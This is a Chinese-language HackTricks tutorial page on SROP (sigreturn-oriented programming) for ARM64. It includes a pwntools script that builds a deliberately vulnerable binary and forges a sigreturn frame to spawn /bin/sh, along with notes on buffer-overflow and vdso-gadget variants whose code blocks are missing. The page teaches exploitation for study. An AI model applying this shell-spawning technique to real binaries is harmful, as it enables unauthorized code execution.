SROP - ARM64

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

Pwntools示例

此示例创建了一个易受攻击的二进制文件并利用它。该二进制文件读取到堆栈,然后调用**sigreturn**:

from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

缓冲区溢出示例

代码

编译它使用:

攻击

该攻击利用缓冲区溢出漏洞返回到对 sigreturn 的调用,并准备栈以调用带有指向 /bin/sh 的指针的 execve

没有 sigreturn 的 bof 示例

代码

攻击

在**vdso部分,可以在偏移0x7b0找到对sigreturn**的调用:

因此,如果泄漏了,可以使用这个地址来访问sigreturn,如果二进制文件没有加载它的话:

有关vdso的更多信息,请查看:

Ret2vDSO

要绕过/bin/sh的地址,您可以创建指向它的多个环境变量,更多信息请查看:

ASLR

最后更新于